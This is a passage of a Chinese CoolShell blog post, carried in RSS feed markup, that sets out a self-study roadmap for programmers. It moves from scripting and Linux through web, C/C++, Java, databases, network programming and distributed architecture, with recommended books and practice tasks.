href=\"http://blog.akash.im/an-open-letter-to-those-who-want-to-start\" target=\"_blank\" rel=\"noopener\">An open letter to those who want to start programming</a>》，我的朋友（他在本站的id是<a href=\"https://coolshell.cn/?author=3\" target=\"_blank\" rel=\"noopener\">Mailper</a>）告诉我，他希望在酷壳上看到一篇更具操作性的文章。因为他也是喜欢编程和技术的家伙，于是，我让他把他的一些学习Python和Web编程的一些点滴总结一下。于是他给我发来了一些他的心得和经历，我在把他的心得做了不多的增改，并根据我的经历增加了“进阶”一节。<strong>这是一篇由新手和我这个老家伙根据我们的经历完成的文章</strong>。</p>\n<p>我的这个朋友把这篇文章取名叫Build Your Programming Technical Skills，我实在不知道用中文怎么翻译，但我在写的过程中，<strong>我觉得这很像一个打网游做任务升级的一个过程，所以取名叫“技术练级攻略”，题目有点大，呵呵，这个标题纯粹是为了好玩</strong>。<strong>这里仅仅是在分享Mailper和我个人的学习经历。</strong>（注：省去了我作为一个初学者曾经学习过的一些技术(今天明显过时了)，如：Delphi/Power builder，也省去了我学过的一些我觉得没意思的技术Lotus Notes/ActiveX/COM/ADO/ATL/.NET &#8230;&#8230;）</p>\n<h4>前言</h4>\n<p>你是否觉得自己从学校毕业的时候只做过小玩具一样的程序？<wbr />走入职场后哪怕没有什么经验也可以把以下这些课外练习走一遍（朋友的抱怨：学校课程总是从理论出发，<wbr />作业项目都看不出有什么实际作用，不如从工作中的需求出发）</p>\n<p>建议：</p>\n<ul>\n<li>不要乱买书，不要乱追新技术新名词，<wbr />基础的东西经过很长时间积累而且还会在未来至少10年通用。</li>\n<li>回顾一下历史，看看历史上时间线上技术的发展，你才能明白明天会是什么样。</li>\n<li>一定要动手，例子不管多么简单，<wbr />建议至少自己手敲一遍看看是否理解了里头的细枝末节。</li>\n<li>一定要学会思考，思考为什么要这样，而不是那样。还要举一反三地思考。</li>\n</ul>\n<p><strong>注</strong>：你也许会很奇怪为什么下面的东西很偏Unix/Linux，这是因为我觉得Windows下的编程可能会在未来很没有前途，原因如下：</p>\n<p><span id=\"more-4990\"></span></p>\n<ul>\n<li>现在的用户界面几乎被两个东西主宰了，1）Web，2）移动设备iOS或Android。Windows的图形界面不吃香了。</li>\n<li>越来越多的企业在用成本低性能高的Linux和各种开源技术来构架其系统，Windows的成本太高了。</li>\n<li>微软的东西变得太快了，很不持久，他们完全是在玩弄程序员。详情参见《<a title=\"Windows编程革命简史\" href=\"https://coolshell.cn/articles/3008.html\" target=\"_blank\" rel=\"noopener\">Windows编程革命史</a>》</li>\n</ul>\n<p>所以，我个人认为以后的趋势是前端是Web+移动，后端是Linux+开源。开发这边基本上没Windows什么事。</p>\n<h4>启蒙入门</h4>\n<p><strong>1、 学习一门脚本语言，例如Python/Ruby</strong></p>\n<p>可以让你摆脱对底层语言的恐惧感，脚本语言可以让你很快开发出能用得上的小程序。实践项目:</p>\n<ul>\n<li>处理文本文件，或者csv (关键词 python csv, python open, python sys) 读一个本地文件，逐行处理（例如 word count，或者处理log）</li>\n<li>遍历本地文件系统 (sys, os, path)，例如写一个程序统计一个目录下所有文件大小并按各种条件排序并保存结果</li>\n<li>跟数据库打交道 (python sqlite)，写一个小脚本统计数据库里条目数量</li>\n<li>学会用各种print之类简单粗暴的方式进行调试</li>\n<li>学会用Google (phrase, domain, use reader to follow tech blogs)</li>\n</ul>\n<p>为什么要学脚本语言，因为他们实在是太方便了，很多时候我们需要写点小工具或是脚本来帮我们解决问题，你就会发现正规的编程语言太难用了。</p>\n<p><strong>2、 用熟一种程序员的编辑器(不是IDE) 和一些基本工具</strong></p>\n<ul>\n<li>Vim / Emacs / Notepad++，学会如何配置代码补全，外观，外部命令等。</li>\n<li>Source Insight (或 ctag)</li>\n</ul>\n<p>使用这些东西不是为了Cool，而是这些编辑器在查看、修改代码/配置文章/日志会更快更有效率。</p>\n<p><strong>3、 熟悉Unix/Linux Shell和常见的命令行</strong></p>\n<ul>\n<li>如果你用windows，至少学会用虚拟机里的linux， vmware player是免费的，装个Ubuntu吧</li>\n<li>一定要少用少用图形界面。</li>\n<li>学会使用man来查看帮助</li>\n<li>文件系统结构和基本操作 ls/chmod/chown/rm/find/ln/cat/mount/mkdir/tar/gzip &#8230;</li>\n<li>学会使用一些文本操作命令 sed/awk/grep/tail/less/more &#8230;</li>\n<li>学会使用一些管理命令 ps/top/lsof/netstat/kill/tcpdump/iptables/dd&#8230;</li>\n<li>了解/etc目录下的各种配置文章，学会查看/var/log下的系统日志，以及/proc下的系统运行信息</li>\n<li>了解正则表达式，使用正则表达式来查找文件。</li>\n</ul>\n<p>对于程序员来说Unix/Linux比Windows简单多了。（参看我四年前CSDN的博文《<a href=\"http://blog.csdn.net/haoel/article/details/1533720\" target=\"_blank\" rel=\"noopener\">其实Unix很简单</a>》）学会使用Unix/Linux你会发现图形界面在某些时候实在是太难用了，相当地相当地降低工作效率。</p>\n<p><strong>4、 学习Web基础（HTML/CSS/JS) + 服务器端技术 (LAMP)</strong></p>\n<p>未来必然是Web的世界，学习WEB基础的最佳网站是<a href=\"http://www.w3school.com.cn/\" target=\"_blank\" rel=\"noopener\">W3School</a>。</p>\n<ul>\n<li>学习HTML基本语法</li>\n<li>学习CSS如何选中HTML元素并应用一些基本样式（关键词：box model）</li>\n<li>学会用  Firefox + Firebug 或 chrome 查看你觉得很炫的网页结构，并动态修改。</li>\n<li>学习使用Javascript操纵HTML元件。理解DOM和动态网页（<a href=\"http://oreilly.com/catalog/9780596527402\" target=\"_blank\" rel=\"noopener\">http://oreilly.com/catalog/9780596527402</a>) 网上有免费的章节，足够用了。或参看 <a href=\"http://www.w3school.com.cn/htmldom/index.asp\" target=\"_blank\" rel=\"noopener\">DOM</a> 。</li>\n<li>学会用  Firefox + Firebug 或 chrome 调试Javascript代码（设置断点，查看变量，性能，控制台等）</li>\n<li>在一台机器上配置<a href=\"www.apache.org\" target=\"_blank\" rel=\"noopener\">Apache </a>或 <a href=\"nginx.net\" target=\"_blank\" rel=\"noopener\">Nginx</a></li>\n<li>学习<a href=\"www.php.net\" target=\"_blank\" rel=\"noopener\">PHP</a>，让后台PHP和前台HTML进行数据交互，对服务器相应浏览器请求形成初步认识。实现一个表单提交和反显的功能。</li>\n<li>把PHP连接本地或者远程数据库 MySQL（MySQL 和 SQL现学现用够了）</li>\n<li>跟完一个名校的网络编程课程（例如：<a href=\"http://www.stanford.edu/~ouster/cgi-bin/cs142-fall10/index.php\" target=\"_blank\" rel=\"noopener\">http://www.stanford.edu/~ouster/cgi-bin/cs142-fall10/index.php</a> ) 不要觉得需要多于一学期时间，大学生是全职一学期选3-5门课，你业余时间一定可以跟上</li>\n<li>学习一个javascript库（例如jQuery 或 ExtJS）+  Ajax (异步读入一个服务器端图片或者数据库内容）+JSON数据格式。</li>\n<li>HTTP: The Definitive Guide 读完前4章你就明白你每天上网用浏览器的时候发生的事情了(proxy, gateway, browsers)</li>\n<li>做个小网站（例如：一个小的留言板，支持用户登录，Cookie/Session，增、删、改、查，上传图片附件，分页显示）</li>\n<li>买个域名，租个空间，做个自己的网站。</li>\n</ul>\n<h4>进阶加深</h4>\n<p><strong>1、 C语言和操作系统调用</strong></p>\n<ul>\n<li>重新学C语言，理解指针和内存模型，用C语言实现一下各种经典的算法和数据结构。推荐《<a href=\"http://product.china-pub.com/197050\">计算机程序设计艺术</a>》、《<a href=\"http://product.china-pub.com/31701\" target=\"_blank\" rel=\"noopener\">算法导论</a>》和《<a href=\"http://product.china-pub.com/209243\" target=\"_blank\" rel=\"noopener\">编程珠玑</a>》。</li>\n<li>学习<a title=\"（麻省理工免费课程）计算机科学和编程导论\" href=\"https://coolshell.cn/articles/3723.html\" target=\"_blank\" rel=\"noopener\">（麻省理工免费课程）计算机科学和编程导论</a></li>\n<li>学习<a title=\"（麻省理工免费课程）C语言内存管理和C++面向对象编程\" href=\"https://coolshell.cn/articles/2474.html\" target=\"_blank\" rel=\"noopener\">（麻省理工免费课程）C语言内存管理</a></li>\n<li>学习Unix/Linux系统调用（<a href=\"http://product.china-pub.com/30181\" target=\"_blank\" rel=\"noopener\">Unix高级环境编程</a>），，了解系统层面的东西。\n<ul>\n<li>用这些系统知识操作一下文件系统，用户（实现一个可以拷贝目录树的小程序）</li>\n<li>用fork/wait/waitpid写一个多进程的程序，用pthread写一个多线程带同步或互斥的程序。多进程多进程购票的程序。</li>\n<li>用signal/kill/raise/alarm/pause/sigprocmask实现一个多进程间的信号量通信的程序。</li>\n<li>学会使用gcc和gdb来编程和调试程序（参看我的《<a href=\"blog.csdn.net/haoel/article/details/2879\" target=\"_blank\" rel=\"noopener\">用gdb调试程序</a>》）</li>\n<li>学会使用makefile来编译程序。（参看我的《<a href=\"blog.csdn.net/haoel/article/details/2886\" target=\"_blank\" rel=\"noopener\">跟我一起写makefile</a>》）</li>\n<li>IPC和Socket的东西可以放到高级中来实践。</li>\n</ul>\n</li>\n<li>学习Windows SDK编程（<a href=\"http://product.china-pub.com/52880\" target=\"_blank\" rel=\"noopener\">Windows 程序设计 </a>，<a href=\"http://product.china-pub.com/3804\" target=\"_blank\" rel=\"noopener\">MFC程序设计</a>）\n<ul>\n<li>写一个窗口，了解WinMain/WinProcedure，以及Windows的消息机制。</li>\n<li>写一些程序来操作Windows SDK中的资源文件或是各种图形控件，以及作图的编程。</li>\n<li>学习如何使用MSDN查看相关的SDK函数，各种WM_消息以及一些例程。</li>\n<li>这本书中有很多例程，在实践中请不要照抄，试着自己写一个自己的例程。</li>\n<li>不用太多于精通这些东西，因为GUI正在被Web取代，主要是了解一下Windows 图形界面的编程。@<a title=\"virushuo\" href=\"http://twitter.com/#!/virushuo\" data-user-id=\"49913\">virushuo</a> 说：“ 我觉得GUI确实不那么热门了，但充分理解GUI工作原理是很重要的。包括移动设备开发，如果没有基础知识仍然很吃力。或者说移动设备开发必须理解GUI工作，或者在win那边学，或者在mac/iOS上学”。</li>\n</ul>\n</li>\n</ul>\n<p><strong>2、学习Java</strong></p>\n<ul>\n<li>Java 的学习主要是看经典的Core Java 《<a href=\"http://product.china-pub.com/208978\" target=\"_blank\" rel=\"noopener\">Java 核心技术编程</a>》和《<a href=\"http://product.china-pub.com/34838\" target=\"_blank\" rel=\"noopener\">Java编程思想</a>》（有两卷，我仅链了第一卷，足够了，因为Java的图形界面了解就可以了）</li>\n<li>学习JDK，学会查阅Java API Doc <a href=\"http://download.oracle.com/javase/6/docs/api/\">http://download.oracle.com/javase/6/docs/api/</a></li>\n<li>了解一下Java这种虚拟机语言和C和Python语言在编译和执行上的差别。从C、Java、Python思考一下“跨平台”这种技术。</li>\n<li>学会使用IDE Eclipse，使用Eclipse 编译，调试和开发Java程序。</li>\n<li>建一个Tomcat的网站，尝试一下JSP/Servlet/JDBC/MySQL的Web开发。把前面所说的那个PHP的小项目试着用JSP和Servlet实现一下。</li>\n</ul>\n<div><strong>3、Web的安全与架构</strong></div>\n<div>\n<ul>\n<li>学习HTML5，网上有很多很多教程，以前<a href=\"https://coolshell.cn\" target=\"_blank\" rel=\"noopener\">酷壳</a>也介绍过很多，我在这里就不罗列了。</li>\n<li>学习Web开发的安全问题（参考<a title=\"新浪微博的XSS攻击\" href=\"https://coolshell.cn/articles/4914.html\" target=\"_blank\" rel=\"noopener\">新浪微博被攻击的这个事</a>，以及<a href=\"http://guides.rubyonrails.org/security.html\" target=\"_blank\" rel=\"noopener\">Ruby的这篇文章</a>）</li>\n<li>学习HTTP Server的rewrite机制，Nginx的反向代理机制，<a href=\"http://en.wikipedia.org/wiki/Fast_CGI\" target=\"_blank\" rel=\"noopener\">fast-cgi</a>（如：<a href=\" http://php-fpm.org/\" target=\"_blank\" rel=\"noopener\">PHP-FPM</a>）</li>\n<li>学习Web的静态页面缓存技术。</li>\n<li>学习Web的异步工作流处理，数据Cache，数据分区，负载均衡，水平扩展的构架。</li>\n<li><strong>实践任务：</strong>\n<ul>\n<li>使用HTML5的canvas 制作一些Web动画。</li>\n<li>尝试在前面开发过的那个Web应用中进行SQL注入，JS注入，以及XSS攻击。</li>\n<li>把前面开发过的那个Web应用改成构造在Nginx + PHP-FPM + 静态页面缓存的网站</li>\n</ul>\n</li>\n</ul>\n</div>\n<p><strong>4、学习关系型数据库</strong></p>\n<ul>\n<li>你可以安装MSSQLServer或MySQL来学习数据库。</li>\n<li>学习教科书里数据库设计的那几个范式，1NF，2NF，3NF，……</li>\n<li>学习数据库的存过，触发器，视图，建索引，游标等。</li>\n<li>学习SQL语句，明白表连接的各种概念（参看《<a title=\"图解SQL的Join\" href=\"https://coolshell.cn/articles/3463.html\">SQL  Join的图示</a>》）</li>\n<li>学习如何优化数据库查询（参看《<a title=\"MySQL性能优化的最佳20+条经验\" href=\"https://coolshell.cn/articles/1846.html\">MySQL的优化</a>》）</li>\n<li><strong>实践任务</strong>：设计一个论坛的数据库，至少满足3NF，使用SQL语句查询本周，本月的最新文章，评论最多的文章，最活跃用户。</li>\n</ul>\n<p><strong>5、一些开发工具</strong></p>\n<ul>\n<li>学会使用SVN或Git来管理程序版本。</li>\n<li>学会使用JUnit来对Java进行单元测试。</li>\n<li>学习C语言和Java语言的coding standard 或 coding guideline。（我N年前写过一篇关C语言非常简单的文章——《<a href=\"http://blog.csdn.net/haoel/article/category/9200/2\" target=\"_blank\" rel=\"noopener\">编程修养</a>》，这样的东西你可以上网查一下，一大堆）。</li>\n<li>推荐阅读《<a href=\"http://product.china-pub.com/28351\" target=\"_blank\" rel=\"noopener\">代码大全</a>》《<a href=\"http://product.china-pub.com/196374\" target=\"_blank\" rel=\"noopener\">重构</a>》《<a href=\"http://product.china-pub.com/196266\" target=\"_blank\" rel=\"noopener\">代码整洁之道</a>》</li>\n</ul>\n<h4>高级深入</h4>\n<p><strong>1、C++ / Java 和面向对象</strong></p>\n<p>我个人以为学好C++，Java也就是举手之劳。但是C++的学习曲线相当的陡。不过，我觉得C++是最需要学好的语言了。参看两篇趣文“<a title=\"C++ 程序员自信心曲线图\" href=\"https://coolshell.cn/articles/2287.html\" target=\"_blank\" rel=\"noopener\">C++学习信心图</a>” 和“<a title=\"“21天教你学会C++”\" href=\"https://coolshell.cn/articles/2250.html\" target=\"_blank\" rel=\"noopener\">21天学好C++</a>”</p>\n<ul>\n<li>学习<a title=\"（麻省理工免费课程）C语言内存管理和C++面向对象编程\" href=\"https://coolshell.cn/articles/2474.html\" target=\"_blank\" rel=\"noopener\">（麻省理工免费课程）C++面向对象编程</a></li>\n<li>读我的 “<a title=\"如何学好C++语言\" href=\"https://coolshell.cn/articles/4119.html\" target=\"_blank\" rel=\"noopener\">如何学好C++</a>”中所推荐的那些书至少两遍以上（如果你对C++的理解能够深入到像我所写的《<a title=\"C++ 虚函数表解析\" href=\"https://coolshell.cn/articles/12165.html\" target=\"_blank\" rel=\"noopener\">C++虚函数表解析</a>》或是《<a title=\"C++ 对象的内存布局\" href=\"https://coolshell.cn/articles/12176.html\" target=\"_blank\" rel=\"noopener\">C++对象内存存局</a>》，或是《<a title=\"C/C++返回内部静态成员的陷阱\" href=\"https://coolshell.cn/articles/12192.html\" target=\"_blank\" rel=\"noopener\">C/C++返回内部静态成员的陷阱</a>》那就非常不错了）</li>\n<li>然后反思为什么C++要干成这样，Java则不是？你一定要学会对比C++和Java的不同。比如，Java中的初始化，垃圾回收，接口，异常，虚函数，等等。</li>\n<li><strong>实践任务：</strong>\n<ul>\n<li>用C++实现一个BigInt，支持128位的整形的加减乘除的操作。</li>\n<li>用C++封装一个数据结构的容量，比如hash table。</li>\n<li>用C++封装并实现一个智能指针（一定要使用模板）。</li>\n</ul>\n</li>\n<li>《<a href=\"http://product.china-pub.com/25961\" target=\"_blank\" rel=\"noopener\">设计模式</a>》必需一读，两遍以上，思考一下，这23个模式的应用场景。主要是两点：1）钟爱组合而不是继承，2）钟爱接口而不是实现。（也推荐《<a href=\"http://product.china-pub.com/27862\">深入浅出设计模式</a>》）</li>\n<li><strong>实践任务：</strong>\n<ul>\n<li>使用工厂模式实现一个内存池。</li>\n<li>使用策略模式制做一个类其可以把文本文件进行左对齐，右对齐和中对齐。</li>\n<li>使用命令模式实现一个命令行计算器，并支持undo和redo。</li>\n<li>使用修饰模式实现一个酒店的房间价格订价策略——旺季，服务，VIP、旅行团、等影响价格的因素。</li>\n</ul>\n</li>\n<li>学习STL的用法和其设计概念  &#8211; 容器，算法，迭代器，函数子。如果可能，请读一下其源码。</li>\n<li><strong>实践任务：</strong>尝试使用面向对象、STL，设计模式、和WindowsSDK图形编程的各种技能\n<ul>\n<li>做一个贪吃蛇或是俄罗斯方块的游戏。支持不同的级别和难度。</li>\n<li>做一个文件浏览器，可以浏览目录下的文件，并可以对不同的文件有不同的操作，文本文件可以打开编辑，执行文件则执行之，mp3或avi文件可以播放，图片文件可以展示图片。</li>\n</ul>\n</li>\n<li>学习C++的一些类库的设计，如： MFC（看看候捷老师的《<a href=\"http://product.china-pub.com/3565\" target=\"_blank\" rel=\"noopener\">深入浅出MFC</a>》） ，Boost, ACE,  CPPUnit，STL （STL可能会太难了，但是如果你能了解其中的设计模式和设计那就太好了，如果你能深入到我写的《<a href=\"http://blog.csdn.net/haoel/article/details/24058\" target=\"_blank\" rel=\"noopener\">STL string类的写时拷贝技术</a>》那就非常不错了，ACE需要很强在的系统知识，参见后面的“加强对系统的了解”）</li>\n<li>Java是真正的面向对象的语言，Java的设计模式多得不能再多，也是用来学习面向对象的设计模式的最佳语言了（参看<a title=\"JDK里的设计模式\" href=\"https://coolshell.cn/articles/3320.html\" target=\"_blank\" rel=\"noopener\">Java中的设计模式</a>）。</li>\n<li>推荐阅读《<a href=\"http://product.china-pub.com/195040\">Effective Java</a>》 and 《<a href=\"http://product.china-pub.com/197212\">Java解惑</a>》</li>\n<li>学习Java的框架，Java的框架也是多，如Spring, Hibernate，Struts 等等，主要是学习Java的设计，如IoC等。</li>\n<li>Java的技术也是烂多，重点学习J2EE架构以及JMS， RMI, 等消息传递和远程调用的技术。</li>\n<li>学习使用Java做Web Service （<a href=\"http://download.oracle.com/docs/cd/E17802_01/webservices/webservices/docs/2.0/tutorial/doc/\" target=\"_blank\" rel=\"noopener\">官方教程在这里</a>）</li>\n<li><strong>实践任务： </strong>尝试在Spring或Hibernate框架下构建一个有网络的Web Service的远程调用程序，并可以在两个Service中通过JMS传递消息。</li>\n</ul>\n<p>C++和Java都不是能在短时间内能学好的，C++玩是的深，Java玩的是广，我建议两者选一个。我个人的学习经历是：</p>\n<ul>\n<li>深究C++（我深究C/C++了十来年了）</li>\n<li>学习Java的各种设计模式。</li>\n</ul>\n<p><strong>2、加强系统了解</strong></p>\n<p>重要阅读下面的几本书：</p>\n<ul>\n<li>《<a href=\"http://product.china-pub.com/197413\" target=\"_blank\" rel=\"noopener\">Unix编程艺术</a>》了解Unix系统领域中的设计和开发哲学、思想文化体系、原则与经验。你一定会有一种醍醐灌顶的感觉。</li>\n<li>《<a href=\"http://product.china-pub.com/196770\" target=\"_blank\" rel=\"noopener\">Unix网络编程卷1，套接字</a>》这是一本看完你就明白网络编程的书。重要注意TCP、UDP，以及多路复用的系统调用select/poll/epoll的差别。</li>\n<li>《<a href=\"http://product.china-pub.com/35\" target=\"_blank\" rel=\"noopener\">TCP/IP详解 卷1:协议</a>》- 这是一本看完后你就可以当网络黑客的书。了解以太网的的运作原理，了解TCP/IP的协议，运作原理以及如何TCP的调优。</li>\n<li><strong>实践任务：</strong>\n<ul>\n<li>理解什么是阻塞（同步IO），非阻塞（异步IO），多路复用（select, poll, epoll）的IO技术。</li>\n<li>写一个网络聊天程序，有聊天服务器和多个聊天客户端（服务端用UDP对部分或所有的的聊天客户端进Multicast或Broadcast）。</li>\n<li>写一个简易的HTTP服务器。</li>\n</ul>\n</li>\n<li>《<a href=\"http://product.china-pub.com/196859\" target=\"_blank\" rel=\"noopener\">Unix网络编程卷2，进程间通信</a>》信号量，管道，共享内存，消息等各种IPC…… 这些技术好像有点老掉牙了，不过还是值得了解。</li>\n<li><strong>实践任务：</strong>\n<ul>\n<li>主要实践各种IPC进程序通信的方法。</li>\n<li>尝试写一个管道程序，父子进程通过管道交换数据。</li>\n<li>尝试写一个共享内存的程序，两个进程通过共享内存交换一个C的结构体数组。</li>\n</ul>\n</li>\n<li>学习《<a href=\"http://product.china-pub.com/209058\" target=\"_blank\" rel=\"noopener\">Windows核心编程</a>》一书。把CreateProcess，Windows线程、线程调度、线程同步（Event,  信号量，互斥量）、异步I/O，内存管理，DLL，这几大块搞精通。</li>\n<li><strong>实践任务：</strong>使用CreateProcess启动一个记事本或IE，并监控该程序的运行。把前面写过的那个简易的HTTP服务用线程池实现一下。写一个DLL的钩子程序监控指定窗口的关闭事件，或是记录某个窗口的按键。</li>\n<li>有了多线程、多进程通信，TCP/IP，套接字，C++和设计模式的基本，你可以研究一下ACE了。使用ACE重写上述的聊天程序和HTTP服务器（带线程池）</li>\n<li><strong>实践任务：</strong>通过以上的所有知识，尝试\n<ul>\n<li>写一个服务端给客户端传大文件，要求把100M的带宽用到80%以上。（注意，磁盘I/O和网络I/O可能会很有问题，想一想怎么解决，另外，请注意网络传输最大单元MTU）</li>\n<li>了解BT下载的工作原理，用多进程的方式模拟BT下载的原理。</li>\n</ul>\n</li>\n</ul>\n<p><strong>3、系统架构</strong></p>\n<ul>\n<li>负载均衡。HASH式的，纯动态式的。（可以到Google学术里搜一些<a href=\"http://scholar.google.com.hk/scholar?q=%E8%B4%9F%E8%BD%BD%E5%9D%87%E8%A1%A1&amp;hl=zh-CN&amp;as_sdt=0&amp;as_vis=1&amp;oi=scholart\" target=\"_blank\" rel=\"noopener\">关于负载均衡的文章</a>读读）</li>\n<li>多层分布式系统 &#8211; 客户端服务结点层、计算结点层、数据cache层，数据层。J2EE是经典的多层结构。</li>\n<li><a href=\"http://en.wikipedia.org/wiki/Content_delivery_network\" target=\"_blank\" rel=\"noopener\">CDN系统</a> &#8211; 就近访问，内容边缘化。</li>\n<li><a href=\"http://en.wikipedia.org/wiki/Peer-to-peer\" target=\"_blank\" rel=\"noopener\">P2P式系统</a>，研究一下BT和电驴的算法。比如：<a href=\"http://en.wikipedia.org/wiki/Distributed_hash_table\" target=\"_blank\" rel=\"noopener\">DHT算法</a>。</li>\n<li>服务器备份，双机备份系统（Live-Standby和Live-Live系统），两台机器如何通过心跳监测对方？集群主结点备份。</li>\n<li><a href=\"http://en.wikipedia.org/wiki/Virtualization\" target=\"_blank\" rel=\"noopener\">虚拟化技术</a>，使用这个技术，可以把操作系统当应用程序一下切换或重新配置和部署。</li>\n<li>学习<a href=\"http://thrift.apache.org/\" target=\"_blank\" rel=\"noopener\">Thrift</a>，二进制的高性能的通讯中间件，支持数据(对象)序列化和多种类型的RPC服务。</li>\n<li>学习<a href=\"http://hadoop.apache.org/\" target=\"_blank\" rel=\"noopener\">Hadoop</a>。Hadoop框架中最核心的设计就是：MapReduce和HDFS。MapReduce的思想是由Google的一篇论文所提及而被广为流传的，简单的一句话解释MapReduce就是“任务的分解与结果的汇总”。HDFS是Hadoop分布式文件系统（Hadoop Distributed File System）的缩写，为分布式计算存储提供了底层支持。</li>\n<li>了解<a href=\"http://en.wikipedia.org/wiki/NoSQL\" target=\"_blank\" rel=\"noopener\">NoSQL数据库</a>（有人说可能是一个<a title=\"那些炒作过度的技术和概念\" href=\"https://coolshell.cn/articles/3609.html\" target=\"_blank\" rel=\"noopener\">过渡炒作的技术</a>），不过因为超大规模以及高并发的纯动态型网站日渐成为主流，而SNS类网站在数据存取过程中有着实时性等刚性需求，这使得目前NoSQL数据库慢慢成了人们所关注的焦点，并大有成为取代关系型数据库而成为未来主流数据存储模式的趋势。当前NoSQL数据库很多，大部分都是开源的，其中比较知名的有：MemcacheDB、Redis、Tokyo Cabinet(升级版为Kyoto Cabinet)、Flare、MongoDB、CouchDB、Cassandra、Voldemort等。</li>\n</ul>\n<p>写了那么多，回顾一下，觉得自己相当的有成就感。希望大家不要吓着，我自己这十来年也在不断地学习，今天我也在学习中，人生本来就是一个不断学习和练级的过程。<strong>不过，一定有漏的，也有不对的，还希望大家补充和更正</strong>。（<span style=\"color: #cc0000;\"><strong>我会根据大家的反馈随时更新此文</strong></span>）欢迎大家通过我的微博（<a href=\"http://weibo.com/haoel\" target=\"_blank\" rel=\"noopener\">@左耳朵耗子</a>）和twitter（@<a href=\"http://twitter.com/haoel\" target=\"_blank\" rel=\"noopener\">haoel</a>）和我交流。</p>\n<p><em><strong>&#8212;&#8211; 更新  2011/07/19 &#8212;&#8211;</strong></em></p>\n<p>1）有朋友奇怪为什么我在这篇文章开头说了web+移动，却没有在后面提到iOS/Android的前端开发。因为我心里有一种感觉，移动设备上的UI最终也会被Javascript取代。大家可以用iPhone或Android看看google+，你就会明白了。</p>\n<p>2）有朋友说我这里的东西太多了，不能为了学习而学习，我非常同意。我在文章的前面也说了要思考。另外，千万不要以为我说的这些东西是一些新的技术，这份攻略里95%以上的全是基础。而且都是久经考验的基础技术。即是可以让你一通百通的技术，也是可以让你找到一份不错工作的技术。</p>\n<p>3）有朋友说学这些东西学完都40了，还不如想想怎么去挣钱。我想告诉大家，一是我今年还没有40岁，二是学无止境啊，三是我不觉得挣钱有多难，难的是怎么让你值那么多钱？无论是打工还是创业，是什么东西让你自己的价值，让你公司的价值更值钱？别的地方我不敢说，对于互联网或IT公司来说，技术实力绝对是其中之一。</p>\n<p>4）有朋友说技术都是工具，不应该如此痴迷这句话没有错，有时候我们需要更多的是抬起头来看看技术以外的事情，或者是说我们在作技术的时候不去思考为什么会有这个技术，为什么不是别的，问题不在于技术，问题在于我们死读书，读死书，成了技术的书呆子。</p>\n<p>5） 对于NoSQL，最近比较火，但我对其有点保守，所以，我只是说了解就可以。对于Hadoop，我觉得其在分布式系统上有巨大的潜力，所以需要学习。 对于关系型数据库，的确是很重要的东西，这点是我的疏忽，在原文里补充。</p>\n<p>（全文完）</p>\n<hr>\n<p><strong><span style=\"color: #cc0000; font-size: 16pt;\">注：该文最新的版本在这里</span>《<a style=\"font-size: 16pt;\" href=\"https://coolshell.cn/articles/18360.html\">程序员技术练级攻略（2018版）</a>》<span style=\"color: #cc0000; font-size: 16pt;\">（需要付费阅读）</span></strong><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/8088.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" alt=\"对技术的态度\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8088.html\" class=\"wp_rp_title\">对技术的态度</a></li><li ><a href=\"https://coolshell.cn/articles/4102.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/25.jpg\" alt=\"如何学好C语言\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4102.html\" class=\"wp_rp_title\">如何学好C语言</a></li><li ><a href=\"https://coolshell.cn/articles/4758.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg\" alt=\"如何写出无法维护的代码\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4758.html\" class=\"wp_rp_title\">如何写出无法维护的代码</a></li><li ><a href=\"https://coolshell.cn/articles/1992.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2009/12/language-fanboys-150x150.jpg\" alt=\"程序员眼中的编程语言\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1992.html\" class=\"wp_rp_title\">程序员眼中的编程语言</a></li><li ><a href=\"https://coolshell.cn/articles/19219.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2019/03/linux.ninja_-150x150.png\" alt=\"打造高效的工作环境 &#8211; Shell 篇\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/19219.html\" class=\"wp_rp_title\">打造高效的工作环境 &#8211; Shell 篇</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/4990.html\">程序员技术练级攻略</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/4990.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>659</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t</channel>\n</rss>\n"
  },
  {
